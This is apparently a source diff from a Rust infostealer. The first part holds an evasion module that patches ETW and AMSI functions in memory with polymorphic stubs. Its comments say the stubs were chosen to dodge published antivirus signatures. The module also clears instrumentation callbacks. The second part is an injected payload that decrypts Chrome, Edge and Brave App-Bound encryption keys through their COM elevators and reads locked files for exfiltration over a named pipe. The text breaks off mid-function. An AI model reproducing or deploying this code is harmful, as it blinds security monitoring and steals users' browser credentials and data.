||||
/// Find an existing site for `addr` (survives suspend/resume cycles), else
|
||||
/// reserve a fresh slot.
|
||||
unsafe fn find_or_alloc_site(addr: usize, len: usize) -> Option<usize> {
|
||||
for i in 0..SITES.len() {
|
||||
if SITES[i].addr == addr {
|
||||
return Some(i);
|
||||
}
|
||||
}
|
||||
let mut slot = SITE_NEXT;
|
||||
for _ in 0..SITES.len() {
|
||||
let s = &mut SITES[slot];
|
||||
if s.addr == 0 {
|
||||
s.addr = addr;
|
||||
s.len = len;
|
||||
SITE_NEXT = (slot + 1) % SITES.len();
|
||||
return Some(slot);
|
||||
}
|
||||
slot = (slot + 1) % SITES.len();
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Capture the pristine bytes the first time a site is patched. On later
|
||||
/// resume cycles the originals are already stored, so this is skipped.
|
||||
unsafe fn snapshot(slot: usize) {
|
||||
let s = &mut SITES[slot];
|
||||
if s.primed {
|
||||
return;
|
||||
}
|
||||
for i in 0..s.len.min(32) {
|
||||
s.original[i] = ptr::read_volatile((s.addr + i) as *const u8);
|
||||
}
|
||||
s.primed = true;
|
||||
}
|
||||
|
||||
/// Write bytes to a (code) address, flipping protection via direct syscall.
|
||||
/// Optionally records the site for later restore.
|
||||
unsafe fn patch_memory(addr: usize, bytes: &[u8], save_for_restore: bool) -> bool {
|
||||
if addr == 0 {
|
||||
return false;
|
||||
}
|
||||
let mut slot: Option<usize> = None;
|
||||
if save_for_restore {
|
||||
slot = find_or_alloc_site(addr, bytes.len());
|
||||
if let Some(s) = slot {
|
||||
snapshot(s);
|
||||
SITES[s].active = true;
|
||||
}
|
||||
}
|
||||
|
||||
let mut base = addr as *mut c_void;
|
||||
let mut size = bytes.len();
|
||||
let mut old: u32 = 0;
|
||||
|
||||
let st = syscall::sys_nt_protect_virtual_memory(
|
||||
abi_current_process(),
|
||||
&mut base,
|
||||
&mut size,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
&mut old,
|
||||
);
|
||||
if st != 0 {
|
||||
if let Some(s) = slot {
|
||||
SITES[s].active = false;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
ptr::copy_nonoverlapping(bytes.as_ptr(), addr as *mut u8, bytes.len());
|
||||
|
||||
let mut tmp: u32 = 0;
|
||||
let _ = syscall::sys_nt_protect_virtual_memory(
|
||||
abi_current_process(),
|
||||
&mut base,
|
||||
&mut size,
|
||||
old.max(PAGE_EXECUTE_READ),
|
||||
&mut tmp,
|
||||
);
|
||||
|
||||
flush_icache(addr, bytes.len());
|
||||
true
|
||||
}
|
||||
|
||||
#[inline]
|
||||
unsafe fn flush_icache(_addr: usize, _len: usize) {
|
||||
asm!("lfence", options(nostack, preserves_flags));
|
||||
}
|
||||
|
||||
#[inline]
|
||||
fn abi_current_process() -> usize {
|
||||
usize::MAX // (HANDLE)-1 pseudo-handle
|
||||
}
|
||||
|
||||
/// Restore all recorded patch sites to their original bytes and mark them
|
||||
/// inactive (so resume_all can re-patch from the stored originals).
|
||||
pub unsafe fn suspend_all() {
|
||||
for i in 0..SITES.len() {
|
||||
let s = &SITES[i];
|
||||
if s.active && s.addr != 0 {
|
||||
let mut base = s.addr as *mut c_void;
|
||||
let mut size = s.len;
|
||||
let mut old: u32 = 0;
|
||||
if syscall::sys_nt_protect_virtual_memory(
|
||||
abi_current_process(), &mut base, &mut size,
|
||||
PAGE_EXECUTE_READWRITE, &mut old,
|
||||
) == 0
|
||||
{
|
||||
ptr::copy_nonoverlapping(s.original.as_ptr(), s.addr as *mut u8, s.len);
|
||||
let mut tmp: u32 = 0;
|
||||
let _ = syscall::sys_nt_protect_virtual_memory(
|
||||
abi_current_process(), &mut base, &mut size,
|
||||
old.max(PAGE_EXECUTE_READ), &mut tmp,
|
||||
);
|
||||
flush_icache(s.addr, s.len);
|
||||
SITES[i].active = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Re-apply the recorded patches after waking from sleep. Reuses the stored
|
||||
/// pristine snapshots (sites matched by address in find_or_alloc_site), so
|
||||
/// each patch lands on its original bytes and stays restorable.
|
||||
pub unsafe fn resume_all() {
|
||||
apply_saved();
|
||||
}
|
||||
|
||||
/// Re-runs the individual patchers; each finds its existing site by address.
|
||||
fn apply_saved() {
|
||||
unsafe {
|
||||
let _ = patch_etw_saved();
|
||||
let _ = patch_etw_deep_saved();
|
||||
let _ = patch_amsi_saved();
|
||||
let _ = patch_amsi_opensession_saved();
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Metamorphic stub selection
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Per-build variant index derived from gen constants (not the function's own
|
||||
/// address so the choice is stable across a single artifact but unique per
|
||||
/// build).
|
||||
fn variant(a: u32) -> usize {
|
||||
let v = gen::JUNK_VARIANT as u32;
|
||||
let t = (gen::OPAQUE_TAG as u32).wrapping_mul(0x9E37_79B9);
|
||||
(v.wrapping_add(t >> 24) % a) as usize
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 1. ETW patch — EtwEventWrite (primary)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Metamorphic no-op stubs for EtwEventWrite — all return STATUS_SUCCESS(0)
|
||||
/// and are 3-7 bytes of genuinely different encodings.
|
||||
fn etw_event_write_stub() -> &'static [u8] {
|
||||
match variant(6) {
|
||||
0 => &[0x33, 0xC0, 0xC3], // xor eax,eax ; ret
|
||||
1 => &[0x31, 0xC0, 0xC3], // xor eax,eax (alt) ; ret
|
||||
2 => &[0x48, 0x31, 0xC0, 0xC3], // xor rax,rax ; ret
|
||||
3 => &[0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3], // mov eax,0 ; ret
|
||||
4 => &[0x33, 0xC0, 0x90, 0xC3], // xor eax,eax ; nop ; ret
|
||||
_ => &[0x55, 0x48, 0x89, 0xE5, 0x31, 0xC0, 0x5D, 0xC3], // push rbp; mov rbp,rsp; xor eax,eax; pop rbp; ret
|
||||
}
|
||||
}
|
||||
|
||||
/// Metamorphic stubs for EtwEventEnabled — return FALSE(0).
|
||||
fn etw_event_enabled_stub() -> &'static [u8] {
|
||||
match variant(4) {
|
||||
0 => &[0x33, 0xC0, 0xC3],
|
||||
1 => &[0x31, 0xC0, 0xC3],
|
||||
2 => &[0x48, 0x31, 0xC0, 0xC3],
|
||||
_ => &[0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3],
|
||||
}
|
||||
}
|
||||
|
||||
fn etw_register_stub() -> &'static [u8] {
|
||||
match variant(3) {
|
||||
0 => &[0x33, 0xC0, 0xC3],
|
||||
1 => &[0x31, 0xC0, 0xC3],
|
||||
_ => &[0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3],
|
||||
}
|
||||
}
|
||||
|
||||
/// Patch ntdll!EtwEventWrite → polymorphic no-op.
|
||||
pub fn patch_etw() -> bool {
|
||||
unsafe { patch_etw_saved() }
|
||||
}
|
||||
|
||||
unsafe fn patch_etw_saved() -> bool {
|
||||
let ntdll = apires::ntdll_base();
|
||||
if ntdll == 0 {
|
||||
return false;
|
||||
}
|
||||
let target = apires::export_by_hash_public(ntdll, unmask(HASH_ETW_EVENT_WRITE));
|
||||
if target == 0 {
|
||||
return false;
|
||||
}
|
||||
patch_memory(target, etw_event_write_stub(), true)
|
||||
}
|
||||
|
||||
/// Patch ntdll!EtwEventEnabled → returns FALSE, so every provider's
|
||||
/// "is this enabled?" check fails and the fast-path skips emission.
|
||||
pub fn patch_etw_eventenabled() -> bool {
|
||||
unsafe {
|
||||
let ntdll = apires::ntdll_base();
|
||||
if ntdll == 0 {
|
||||
return false;
|
||||
}
|
||||
let target = apires::export_by_hash_public(ntdll, unmask(HASH_ETW_EVENT_ENABLED));
|
||||
if target == 0 {
|
||||
return false;
|
||||
}
|
||||
patch_memory(target, etw_event_enabled_stub(), true)
|
||||
}
|
||||
}
|
||||
|
||||
/// Deeper ETW cut: NtTraceEvent + EtwEventRegister.
|
||||
pub fn patch_etw_deep() -> bool {
|
||||
unsafe { patch_etw_deep_saved() }
|
||||
}
|
||||
|
||||
unsafe fn patch_etw_deep_saved() -> bool {
|
||||
let ntdll = apires::ntdll_base();
|
||||
if ntdll == 0 {
|
||||
return false;
|
||||
}
|
||||
let mut ok = true;
|
||||
let trace = apires::export_by_hash_public(ntdll, unmask(HASH_NTTRACE_EVENT));
|
||||
if trace != 0 {
|
||||
ok &= patch_memory(trace, etw_event_write_stub(), true);
|
||||
}
|
||||
let reg = apires::export_by_hash_public(ntdll, unmask(HASH_ETW_EVENT_REGISTER));
|
||||
if reg != 0 {
|
||||
ok &= patch_memory(reg, etw_register_stub(), true);
|
||||
}
|
||||
ok
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 2. AMSI patch
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Metamorphic AmsiScanBuffer stubs: write AMSI_RESULT_CLEAN(0) into arg6
|
||||
/// (result ptr at [rsp+0x30]) and return S_OK(0). Each variant uses distinct
|
||||
/// registers/encodings so no published signature matches the patch bytes.
|
||||
fn amsi_scan_stub() -> &'static [u8] {
|
||||
// Deliberately avoids the classic published 14-byte stub
|
||||
// (`31 C0 49 8B 5C 24 30 45 31 DB 45 89 1B C3`) — that exact byte run is a
|
||||
// documented AMSI-patch signature. Every variant here uses a different
|
||||
// register/encoding so no artifact ships a known-signature byte sequence.
|
||||
match variant(5) {
|
||||
0 => &[
|
||||
0x48, 0x8B, 0x4C, 0x24, 0x30, // mov rcx,[rsp+0x30] result ptr
|
||||
0x33, 0xC0, // xor eax,eax S_OK
|
||||
0x89, 0x01, // mov [rcx],eax CLEAN(0)
|
||||
0xC3,
|
||||
],
|
||||
1 => &[
|
||||
0x33, 0xC0, // xor eax,eax
|
||||
0x49, 0x8B, 0x54, 0x24, 0x30, // mov r10,[rsp+0x30]
|
||||
0x41, 0x89, 0x02, // mov [r10],eax
|
||||
0xC3,
|
||||
],
|
||||
2 => &[
|
||||
0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax,0
|
||||
0x48, 0x8B, 0x54, 0x24, 0x30, // mov rdx,[rsp+0x30]
|
||||
0x89, 0x02, // mov [rdx],eax
|
||||
0xC3,
|
||||
],
|
||||
3 => &[
|
||||
0x31, 0xC0, // xor eax,eax
|
||||
0x4C, 0x8B, 0x44, 0x24, 0x30, // mov r8,[rsp+0x30]
|
||||
0x89, 0x00, // mov [r8],eax
|
||||
0xC3,
|
||||
],
|
||||
_ => &[
|
||||
0x31, 0xC0, // xor eax,eax
|
||||
0x48, 0x8B, 0x94, 0x24, 0x30, 0x00, 0x00, 0x00, // mov rdx,[rsp+0x30] (SIB/disp enc)
|
||||
0x89, 0x02, // mov [rdx],eax
|
||||
0xC3,
|
||||
],
|
||||
}
|
||||
}
|
||||
|
||||
/// AmsiOpenSession → E_AMSI_NOT_INITIALIZED. Sessions fail to open, so even
|
||||
/// hosts that route scans through session-based APIs report nothing.
|
||||
fn amsi_open_session_stub() -> &'static [u8] {
|
||||
// All variants return a FAILING HRESULT (high bit set) so script hosts
|
||||
// treat the session-open as failed. Never return a positive status — that
|
||||
// is interpreted as SUCCESS and the patch silently no-ops.
|
||||
match variant(3) {
|
||||
0 => &[0xB8, 0x11, 0x00, 0x02, 0x80, 0xC3], // mov eax, 0x80020011 (E_AMSI_NOT_INITIALIZED) ; ret
|
||||
1 => &[0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3], // mov eax, 0x80070057 (E_INVALIDARG) ; ret
|
||||
_ => &[0x48, 0xC7, 0xC0, 0x11, 0x00, 0x02, 0x80, 0xC3], // mov rax, 0x80020011 ; ret (distinct enc)
|
||||
}
|
||||
}
|
||||
|
||||
/// Patch amsi.dll!AmsiScanBuffer so every scan reports AMSI_RESULT_CLEAN.
|
||||
pub fn patch_amsi() -> bool {
|
||||
unsafe { patch_amsi_saved() }
|
||||
}
|
||||
|
||||
unsafe fn patch_amsi_saved() -> bool {
|
||||
let amsi = apires::module_base_by_name_hash(unmask(HASH_MODULE_AMSI));
|
||||
if amsi == 0 {
|
||||
return false; // amsi.dll not loaded in this host — nothing to do
|
||||
}
|
||||
let target = apires::export_by_hash_public(amsi, unmask(HASH_AMSI_SCAN_BUFFER));
|
||||
if target == 0 {
|
||||
return false;
|
||||
}
|
||||
patch_memory(target, amsi_scan_stub(), true)
|
||||
}
|
||||
|
||||
/// Patch amsi.dll!AmsiOpenSession to fail (defense-in-depth).
|
||||
pub fn patch_amsi_opensession() -> bool {
|
||||
unsafe { patch_amsi_opensession_saved() }
|
||||
}
|
||||
|
||||
unsafe fn patch_amsi_opensession_saved() -> bool {
|
||||
let amsi = apires::module_base_by_name_hash(unmask(HASH_MODULE_AMSI));
|
||||
if amsi == 0 {
|
||||
return false;
|
||||
}
|
||||
let target = apires::export_by_hash_public(amsi, unmask(HASH_AMSI_OPEN_SESSION));
|
||||
if target == 0 {
|
||||
return false;
|
||||
}
|
||||
patch_memory(target, amsi_open_session_stub(), true)
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 3. Instrumentation-callback bypass
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const PROCESS_INSTRUMENTATION_CALLBACK: u32 = 40;
|
||||
|
||||
/// Query the current instrumentation callback (if any monitor installed one).
|
||||
unsafe fn query_instrumentation_callback() -> usize {
|
||||
let mut cb: usize = 0;
|
||||
let st = syscall::sys_nt_query_information_process(
|
||||
abi_current_process(),
|
||||
PROCESS_INSTRUMENTATION_CALLBACK,
|
||||
(&mut cb) as *mut usize as *mut c_void,
|
||||
core::mem::size_of::<usize>() as u32,
|
||||
ptr::null_mut(),
|
||||
);
|
||||
if st != 0 {
|
||||
return 0;
|
||||
}
|
||||
cb
|
||||
}
|
||||
|
||||
/// Clear any externally-registered instrumentation callback.
|
||||
pub fn clear_instrumentation_callback() -> bool {
|
||||
unsafe {
|
||||
let existing = query_instrumentation_callback();
|
||||
if existing == 0 {
|
||||
return true;
|
||||
}
|
||||
let zero: usize = 0;
|
||||
let st = syscall::sys_nt_set_information_process(
|
||||
abi_current_process(),
|
||||
PROCESS_INSTRUMENTATION_CALLBACK,
|
||||
(&zero) as *const usize as *mut c_void,
|
||||
core::mem::size_of::<usize>() as u32,
|
||||
);
|
||||
st == 0
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Orchestration
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Apply the full patch set. Returns bitmask:
|
||||
/// bit0=ETW bit1=AMSI bit2=InstrCb bit3=deepETW bit4=EventEnabled bit5=OpenSession
|
||||
pub fn apply_all() -> u32 {
|
||||
let seed = flow::run_time_nonce();
|
||||
let mut done: u32 = 0;
|
||||
|
||||
// ETW + AMSI primary, opaque order.
|
||||
if flow::opaque_true(seed ^ gen::CFF_KEY) {
|
||||
flow::junk_complex(seed);
|
||||
if patch_etw() { done |= 1; }
|
||||
if patch_amsi() { done |= 2; }
|
||||
} else {
|
||||
flow::junk();
|
||||
if patch_amsi() { done |= 2; }
|
||||
if patch_etw() { done |= 1; }
|
||||
}
|
||||
|
||||
// Secondary layers.
|
||||
if patch_etw_eventenabled() { done |= 16; }
|
||||
if patch_amsi_opensession() { done |= 32; }
|
||||
|
||||
if clear_instrumentation_callback() { done |= 4; }
|
||||
|
||||
// Deep ETW only once the primary landed.
|
||||
if done & 1 != 0 && patch_etw_deep() {
|
||||
done |= 8;
|
||||
}
|
||||
|
||||
done
|
||||
}
|
||||
@@ -0,0 +1,628 @@
|
||||
//! Injected-payload logic, ported from key_extractor.cpp.
|
||||
//!
|
||||
//! On attach the payload reads the pipe name from the `RECOVERY_PIPE`
|
||||
//! environment variable and spawns a worker thread that services a length-
|
||||
//! prefixed protocol: `KEY:browser:base64` (App-Bound/v20 key decryption via
|
||||
//! the browser's COM elevator) and `READ:path` (read a file, transparently
|
||||
//! duplicating the owning process's open handle on a sharing violation).
|
||||
|
||||
use core::ffi::c_void;
|
||||
use core::ptr;
|
||||
|
||||
use crate::abi::{self, GUID};
|
||||
use crate::gen;
|
||||
use crate::obf;
|
||||
|
||||
const MAX_MSG: u32 = 16384;
|
||||
const MAX_FILE: u32 = 50 * 1024 * 1024; // 50MB
|
||||
const ENV_BUF: u32 = 512;
|
||||
const PATH_BUF: usize = 32768;
|
||||
|
||||
/// Runtime-decrypt a compile-time obfuscated byte signature into a Vec.
|
||||
fn dec_bytes(key: u8, slot: &(obf::Slot, u32), len: usize) -> Vec<u8> {
|
||||
let raw = obf::dec_sig(key, slot, len);
|
||||
raw[..len.min(obf::MAX_LEN)].to_vec()
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Protocol / identity strings — kept out of `.rodata` as plaintext.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
fn proto_key() -> Vec<u8> { dec_bytes(gen::K_TOKEN, &obf::sig(gen::K_TOKEN, 0x8001, b"KEY:"), 4) }
|
||||
fn proto_read() -> Vec<u8> { dec_bytes(gen::K_TOKEN, &obf::sig(gen::K_TOKEN, 0x8002, b"READ:"), 5) }
|
||||
fn proto_exit() -> Vec<u8> { dec_bytes(gen::K_TOKEN, &obf::sig(gen::K_TOKEN, 0x8003, b"EXIT"), 4) }
|
||||
fn env_pipe_name() -> Vec<u8> { dec_bytes(gen::K_TOKEN, &obf::sig(gen::K_TOKEN, 0x8004, b"RECOVERY_PIPE"), 13) }
|
||||
|
||||
// ---- OVERLAPPED (x64 layout) ----
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy)]
|
||||
struct Overlapped {
|
||||
internal: usize,
|
||||
internal_high: usize,
|
||||
offset: u32,
|
||||
offset_high: u32,
|
||||
h_event: usize,
|
||||
}
|
||||
|
||||
impl Overlapped {
|
||||
fn zeroed() -> Self {
|
||||
Overlapped {
|
||||
internal: 0,
|
||||
internal_high: 0,
|
||||
offset: 0,
|
||||
offset_high: 0,
|
||||
h_event: 0,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---- base64 decode (standard, padded) ----
|
||||
|
||||
fn b64_val(c: u8) -> i32 {
|
||||
match c {
|
||||
b'A'..=b'Z' => (c - b'A') as i32,
|
||||
b'a'..=b'z' => (c - b'a' + 26) as i32,
|
||||
b'0'..=b'9' => (c - b'0' + 52) as i32,
|
||||
b'+' => 62,
|
||||
b'/' => 63,
|
||||
_ => -1,
|
||||
}
|
||||
}
|
||||
|
||||
fn base64_decode(s: &[u8]) -> Vec<u8> {
|
||||
let mut out = Vec::new();
|
||||
let mut acc: u32 = 0;
|
||||
let mut bits: u32 = 0;
|
||||
for &c in s {
|
||||
if c == b'=' {
|
||||
break;
|
||||
}
|
||||
let v = b64_val(c);
|
||||
if v < 0 {
|
||||
continue;
|
||||
}
|
||||
acc = (acc << 6) | v as u32;
|
||||
bits += 6;
|
||||
if bits >= 8 {
|
||||
bits -= 8;
|
||||
out.push((acc >> bits) as u8);
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
// ---- wide / utf helpers ----
|
||||
|
||||
fn utf8_to_wide(bytes: &[u8]) -> Vec<u16> {
|
||||
let s = String::from_utf8_lossy(bytes);
|
||||
let mut v: Vec<u16> = s.encode_utf16().collect();
|
||||
v.push(0);
|
||||
v
|
||||
}
|
||||
|
||||
fn ascii_eq_ignore_case(a: &[u8], b: &[u8]) -> bool {
|
||||
if a.len() != b.len() {
|
||||
return false;
|
||||
}
|
||||
a.iter().zip(b.iter()).all(|(&x, &y)| x.to_ascii_lowercase() == y.to_ascii_lowercase())
|
||||
}
|
||||
|
||||
/// Case-sensitive wide substring search (matches the C `wcsstr` behavior).
|
||||
fn wide_contains(haystack: &[u16], needle: &[u16]) -> bool {
|
||||
if needle.is_empty() {
|
||||
return true;
|
||||
}
|
||||
if haystack.len() < needle.len() {
|
||||
return false;
|
||||
}
|
||||
(0..=haystack.len() - needle.len()).any(|i| &haystack[i..i + needle.len()] == needle)
|
||||
}
|
||||
|
||||
// ---- pipe helpers ----
|
||||
|
||||
unsafe fn pipe_read_exact(h: usize, buf: *mut u8, len: u32) -> bool {
|
||||
let mut off = 0u32;
|
||||
while off < len {
|
||||
let mut rd = 0u32;
|
||||
let ok = abi::ReadFile(
|
||||
h,
|
||||
buf.add(off as usize) as *mut c_void,
|
||||
len - off,
|
||||
&mut rd,
|
||||
ptr::null_mut(),
|
||||
);
|
||||
if ok == 0 || rd == 0 {
|
||||
return false;
|
||||
}
|
||||
off += rd;
|
||||
}
|
||||
true
|
||||
}
|
||||
|
||||
unsafe fn pipe_write_all(h: usize, buf: *const u8, len: u32) -> bool {
|
||||
let mut off = 0u32;
|
||||
while off < len {
|
||||
let mut wr = 0u32;
|
||||
let ok = abi::WriteFile(
|
||||
h,
|
||||
buf.add(off as usize) as *const c_void,
|
||||
len - off,
|
||||
&mut wr,
|
||||
ptr::null_mut(),
|
||||
);
|
||||
if ok == 0 || wr == 0 {
|
||||
return false;
|
||||
}
|
||||
off += wr;
|
||||
}
|
||||
true
|
||||
}
|
||||
|
||||
unsafe fn send_response(h: usize, status: u8, data: &[u8]) -> bool {
|
||||
let total = 1u32 + data.len() as u32;
|
||||
let len_bytes = total.to_le_bytes();
|
||||
if !pipe_write_all(h, len_bytes.as_ptr(), 4) {
|
||||
return false;
|
||||
}
|
||||
if !pipe_write_all(h, &status as *const u8, 1) {
|
||||
return false;
|
||||
}
|
||||
if !data.is_empty() && !pipe_write_all(h, data.as_ptr(), data.len() as u32) {
|
||||
return false;
|
||||
}
|
||||
abi::FlushFileBuffers(h);
|
||||
true
|
||||
}
|
||||
|
||||
// ---- COM elevator (IElevator / IEdgeElevator) ----
|
||||
|
||||
// Chrome/Brave: IUnknown + RunRecoveryCRXElevated + EncryptData + DecryptData
|
||||
#[repr(C)]
|
||||
struct IElevatorVtbl {
|
||||
query_interface: unsafe extern "system" fn(*mut c_void, *const GUID, *mut *mut c_void) -> i32,
|
||||
add_ref: unsafe extern "system" fn(*mut c_void) -> u32,
|
||||
release: unsafe extern "system" fn(*mut c_void) -> u32,
|
||||
run_recovery_crx_elevated: unsafe extern "system" fn(
|
||||
*mut c_void,
|
||||
*const u16,
|
||||
*const u16,
|
||||
*const u16,
|
||||
*const u16,
|
||||
u32,
|
||||
*mut usize,
|
||||
) -> i32,
|
||||
encrypt_data: unsafe extern "system" fn(*mut c_void, u32, *mut u16, *mut *mut u16, *mut u32) -> i32,
|
||||
decrypt_data: unsafe extern "system" fn(*mut c_void, *mut u16, *mut *mut u16, *mut u32) -> i32,
|
||||
}
|
||||
|
||||
// Edge: IUnknown + 3 base methods + RunRecoveryCRXElevated + EncryptData + DecryptData
|
||||
#[repr(C)]
|
||||
struct IEdgeElevatorVtbl {
|
||||
query_interface: unsafe extern "system" fn(*mut c_void, *const GUID, *mut *mut c_void) -> i32,
|
||||
add_ref: unsafe extern "system" fn(*mut c_void) -> u32,
|
||||
release: unsafe extern "system" fn(*mut c_void) -> u32,
|
||||
edge_method1: unsafe extern "system" fn(*mut c_void) -> i32,
|
||||
edge_method2: unsafe extern "system" fn(*mut c_void) -> i32,
|
||||
edge_method3: unsafe extern "system" fn(*mut c_void) -> i32,
|
||||
run_recovery_crx_elevated: unsafe extern "system" fn(
|
||||
*mut c_void,
|
||||
*const u16,
|
||||
*const u16,
|
||||
*const u16,
|
||||
*const u16,
|
||||
u32,
|
||||
*mut usize,
|
||||
) -> i32,
|
||||
encrypt_data: unsafe extern "system" fn(*mut c_void, u32, *mut u16, *mut *mut u16, *mut u32) -> i32,
|
||||
decrypt_data: unsafe extern "system" fn(*mut c_void, *mut u16, *mut *mut u16, *mut u32) -> i32,
|
||||
}
|
||||
|
||||
const CLSID_CHROME: GUID = GUID {
|
||||
data1: 0x708860E0,
|
||||
data2: 0xF641,
|
||||
data3: 0x4611,
|
||||
data4: [0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B],
|
||||
};
|
||||
const IID_CHROME: GUID = GUID {
|
||||
data1: 0x463ABECF,
|
||||
data2: 0x410D,
|
||||
data3: 0x407F,
|
||||
data4: [0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8],
|
||||
};
|
||||
const IID_CHROME2: GUID = GUID {
|
||||
data1: 0x1BF5208B,
|
||||
data2: 0x295F,
|
||||
data3: 0x4992,
|
||||
data4: [0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38],
|
||||
};
|
||||
|
||||
const CLSID_EDGE: GUID = GUID {
|
||||
data1: 0x1FCBE96C,
|
||||
data2: 0x1697,
|
||||
data3: 0x43AF,
|
||||
data4: [0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67],
|
||||
};
|
||||
const IID_EDGE: GUID = GUID {
|
||||
data1: 0xC9C2B807,
|
||||
data2: 0x7731,
|
||||
data3: 0x4F34,
|
||||
data4: [0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B],
|
||||
};
|
||||
const IID_EDGE2: GUID = GUID {
|
||||
data1: 0x8F7B6792,
|
||||
data2: 0x784D,
|
||||
data3: 0x4047,
|
||||
data4: [0x84, 0x5D, 0x17, 0x82, 0xEF, 0xBE, 0xF2, 0x05],
|
||||
};
|
||||
|
||||
const CLSID_BRAVE: GUID = GUID {
|
||||
data1: 0x576B31AF,
|
||||
data2: 0x6369,
|
||||
data3: 0x4B6B,
|
||||
data4: [0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B],
|
||||
};
|
||||
const IID_BRAVE: GUID = GUID {
|
||||
data1: 0xF396861E,
|
||||
data2: 0x0C8E,
|
||||
data3: 0x4C71,
|
||||
data4: [0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9],
|
||||
};
|
||||
const IID_BRAVE2: GUID = GUID {
|
||||
data1: 0x1BF5208B,
|
||||
data2: 0x295F,
|
||||
data3: 0x4992,
|
||||
data4: [0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38],
|
||||
};
|
||||
|
||||
const COLE_DEFAULT_PRINCIPAL: *mut u16 = usize::MAX as *mut u16;
|
||||
|
||||
unsafe fn set_proxy_blanket(ptr: *mut c_void) {
|
||||
abi::CoSetProxyBlanket(
|
||||
ptr,
|
||||
abi::RPC_C_AUTHN_DEFAULT,
|
||||
abi::RPC_C_AUTHZ_DEFAULT,
|
||||
COLE_DEFAULT_PRINCIPAL,
|
||||
abi::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||
abi::RPC_C_IMP_LEVEL_IMPERSONATE,
|
||||
ptr::null_mut(),
|
||||
abi::EOAC_DYNAMIC_CLOAKING,
|
||||
);
|
||||
}
|
||||
|
||||
unsafe fn decrypt_chrome(
|
||||
clsid: GUID,
|
||||
iid: GUID,
|
||||
iid2: GUID,
|
||||
bstr: *mut u16,
|
||||
out: *mut *mut u16,
|
||||
err: *mut u32,
|
||||
) -> i32 {
|
||||
let mut ptr: *mut c_void = ptr::null_mut();
|
||||
let mut hr = abi::CoCreateInstance(&clsid, ptr::null_mut(), abi::CLSCTX_LOCAL_SERVER, &iid2, &mut ptr);
|
||||
if hr < 0 {
|
||||
hr = abi::CoCreateInstance(&clsid, ptr::null_mut(), abi::CLSCTX_LOCAL_SERVER, &iid, &mut ptr);
|
||||
}
|
||||
if hr < 0 || ptr.is_null() {
|
||||
return hr;
|
||||
}
|
||||
set_proxy_blanket(ptr);
|
||||
let vtbl = *(ptr as *const *const IElevatorVtbl);
|
||||
hr = ((*vtbl).decrypt_data)(ptr, bstr, out, err);
|
||||
((*vtbl).release)(ptr);
|
||||
hr
|
||||
}
|
||||
|
||||
unsafe fn decrypt_edge(bstr: *mut u16, out: *mut *mut u16, err: *mut u32) -> i32 {
|
||||
// Try IEdgeElevator2 first, then IEdgeElevator (same vtable layout).
|
||||
let mut ptr: *mut c_void = ptr::null_mut();
|
||||
let mut hr = abi::CoCreateInstance(
|
||||
&CLSID_EDGE,
|
||||
ptr::null_mut(),
|
||||
abi::CLSCTX_LOCAL_SERVER,
|
||||
&IID_EDGE2,
|
||||
&mut ptr,
|
||||
);
|
||||
if hr >= 0 && !ptr.is_null() {
|
||||
set_proxy_blanket(ptr);
|
||||
let vtbl = *(ptr as *const *const IEdgeElevatorVtbl);
|
||||
hr = ((*vtbl).decrypt_data)(ptr, bstr, out, err);
|
||||
((*vtbl).release)(ptr);
|
||||
if hr >= 0 && !(*out).is_null() {
|
||||
return hr;
|
||||
}
|
||||
}
|
||||
|
||||
ptr = ptr::null_mut();
|
||||
hr = abi::CoCreateInstance(
|
||||
&CLSID_EDGE,
|
||||
ptr::null_mut(),
|
||||
abi::CLSCTX_LOCAL_SERVER,
|
||||
&IID_EDGE,
|
||||
&mut ptr,
|
||||
);
|
||||
if hr < 0 || ptr.is_null() {
|
||||
return hr;
|
||||
}
|
||||
set_proxy_blanket(ptr);
|
||||
let vtbl = *(ptr as *const *const IEdgeElevatorVtbl);
|
||||
hr = ((*vtbl).decrypt_data)(ptr, bstr, out, err);
|
||||
((*vtbl).release)(ptr);
|
||||
hr
|
||||
}
|
||||
|
||||
fn decrypt_via_elevator(enc: &[u8], browser: &[u8]) -> Option<Vec<u8>> {
|
||||
unsafe {
|
||||
let hr = abi::CoInitializeEx(ptr::null_mut(), abi::COINIT_APARTMENTTHREADED);
|
||||
if hr < 0 && hr != abi::RPC_E_CHANGED_MODE {
|
||||
return None;
|
||||
}
|
||||
|
||||
let bstr_enc = abi::SysAllocStringByteLen(enc.as_ptr(), enc.len() as u32);
|
||||
